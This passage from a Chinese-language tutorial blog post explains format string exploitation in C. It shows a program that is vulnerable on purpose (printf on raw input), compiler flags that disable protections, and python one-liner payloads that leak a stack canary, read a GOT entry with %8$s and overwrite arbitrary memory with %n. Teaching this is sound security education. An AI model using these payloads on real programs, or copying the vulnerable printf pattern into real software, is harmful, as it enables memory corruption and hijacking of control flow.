class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">char</span> buf[<span class="number">50</span>];</span><br><span class="line">    <span class="keyword">if</span>(fgets(buf, <span class="keyword">sizeof</span> buf, <span class="built_in">stdin</span>) == <span class="literal">NULL</span>) <span class="keyword">return</span>;</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -g -Wall -fstack-protector-all -o program_with_canary program.c</span><br></pre></td></tr></table></figure><p>Cannary会被从QWORD PTR fs:0x28放到栈上，然后我们用%p来读，一个%p读8字节的内存。</p><p><img src="image8.png"></p><p>实际需要多少个可以通过gdb或静态分析来算。这里给用14个就行了。</p><p><img src="image9.png"></p><h3 id="格式化字符串泄漏任意地址数据"><a href="#格式化字符串泄漏任意地址数据" class="headerlink" title="格式化字符串泄漏任意地址数据"></a>格式化字符串泄漏任意地址数据</h3><p>这种套路一般用来泄漏got表数据，先构想读地址的值在栈上，然后调用%s去读这个地址。</p><p>因为这个地址需要在栈上，所以这里为方便用32位程序演示。这个值肯定和printf的第一个参数有一些偏移。所以最后我们需要用%n$s这种“加强版”的%s去读到偏移。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -g -m32 -Wall -fno-<span class="built_in">stack</span>-protector -o vulnerable_program program.c</span><br></pre></td></tr></table></figure><p>先来读一下GOT表</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">readelf -r vulnerable_program | grep fget</span><br><span class="line"><span class="number">0804</span>c010  <span class="number">00000207</span> R_386_JUMP_SLOT   <span class="number">00000000</span>   fgets@GLIBC_2<span class="number">.0</span></span><br></pre></td></tr></table></figure><p>和刚才思路类似，先用以一坨%p看一下偏移</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p</span><br></pre></td></tr></table></figure><p><img src="image10.png"></p><p>这里AAAA被断开了，所以我们还需要padding一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PPAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p</span><br></pre></td></tr></table></figure><p><img src="image11.png"></p><p>所以我只需要用%8$s即可以读到GOT表地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&#x27;import sys; sys.stdout.buffer.write(b&quot;PP\x10\xc0\x04\x08%8$s\n&quot;)&#x27;</span>  </span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">b main</span><br><span class="line">run &lt; text</span><br></pre></td></tr></table></figure><p><img src="image12.png"></p><p><img src="image13.png"></p><h3 id="格式化字符串向任意地址写入数据"><a href="#格式化字符串向任意地址写入数据" class="headerlink" title="格式化字符串向任意地址写入数据"></a>格式化字符串向任意地址写入数据</h3><p>这种要结合%n来利用，先来看一下%n的用法。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;AAAA%n\n&quot;</span>, &amp;i);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, i);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>printf解析到%n会把输出的字符串的长度放在i中。</p><p><img src="image14.png"></p><p>在漏洞利用中，类似于我们用\x10\xc0\x04\x08%8$s去偏移8处读\x10\xc0\x04\x08地址的值。我门用\x10\xc0\x04\x08%8$n去偏移8处的\x10\xc0\x04\x08地址写入打印出来的字符个数。这样我们只要控制打印字数就可以控制任意地址的值了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&#x27;import sys; sys.stdout.buffer.write(b&quot;PP\x10\xc0\x04\x08%8$n\n&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p>修改前 p *0x0804c010</p><p><img src="image15.png"></p><p>修改后</p><p><img src="image16.png"></p><p>这里我们只输出六个字符，太少了。实际利用肯定要写入一个地址(比如one gadget的地址)，这个地址一般都很大比如0x80c0ffff，所以需要结合printf的对齐语法来写入大值。</p><p>假设第10个偏移是0x0804c010，那我们理论上就可以把地址0x0804c010写入0x08ffffff的值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&#x27;import sys; sys.stdout.buffer.write(b&quot;%150994943d%12$nAA\x10\xc0\x04\x08\n&quot;)&#x27;</span> &gt; te</span><br></pre></td></tr></table></figure><p><img src="image17.png"></p><p>在输出大量padding过后成功修改完地址</p><p><img src="image18.png"></p><p>这种方法简单粗暴，但更优雅的方式是逐字节修改。</p><p>依次对0804c010写入0xff，0804c011写入0xff，0804c012写入0xff，0804c013写入0x08</p><h2 id="附-non-pie-与-ASLR"><a href="#附-non-pie-与-ASLR" class="headerlink" title="附 non pie 与 ASLR"></a>附 non pie 与 ASLR</h2><p>程序是no pie的就算操作系统开了ASLR也没用？</p><ol><li><p>ASLR（Address Space Layout Randomization）：</p><ol><li>这是一个操作系统级别的安全特性。</li><li>它随机化进程的内存布局，包括堆、栈、共享库的加载位置等。</li></ol></li><li><p>PIE（Position Independent Executable）：</p><ol><li>这是一个编译时的选项。</li><li>它使可执行文件的代码段也能被随机化。</li></ol></li><li><p>ASLR 和 no-PIE 的组合效果：</p><ol><li><p>如果程序是 no-PIE 的（非位置独立可执行文件），但操作系统开启了 ASLR：</p><ul><li>程序的代码段（.text）将会在固定的地址加载。</li><li>但是，堆、栈、共享库等仍然会被随机化。</li></ul></li></ol></li></ol><h2 id="附-python字符集的坑"><a href="#附-python字符集的坑" class="headerlink" title="附 python字符集的坑"></a>附 python字符集的坑</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ python3 -c <span class="string">&#x27;print(&quot;PP\x10\xc0\x04\x08%7$s&quot;)&#x27;</span>  &gt; text</span><br><span class="line">parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ cat text |xxd</span><br><span class="line"><span class="number">00000000</span>: <span class="number">5050</span> <span class="number">10</span>c3 <span class="number">8004</span> <span class="number">0825</span> <span class="number">3724</span> <span class="number">730</span>a            PP.....%<span class="number">7</span>$s.</span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://blog.csdn.net/dreamer2020/article/details/24158303">https://blog.csdn.net/dreamer2020/article/details/24158303</a></p><p><a href="https://www.yanbinghu.com/2018/12/02/10796.html">https://www.yanbinghu.com/2018/12/02/10796.html</a></p><p><a href="https://www.cnblogs.com/jillzhang/archive/2007/06/24/793901.html">https://www.cnblogs.com/jillzhang/archive/2007/06/24/793901.html</a></p><p><a href="https://blog.csdn.net/weixin_42250302/article/details/108287860">https://blog.csdn.net/weixin_42250302/article/details/108287860</a></p><p><a href="https://www.cnblogs.com/zuoxiaolong/p/computer11.html">https://www.cnblogs.com/zuoxiaolong/p/computer11.html</a></p><p><a href="https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md">https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md</a></p>]]></content>
    
    
    <summary type="html">重新认识printf</summary>
    
    
    
    
    <category term="binary" scheme="https://cl0und.xyz/tags/binary/"/>
    
  </entry>
  
</feed>
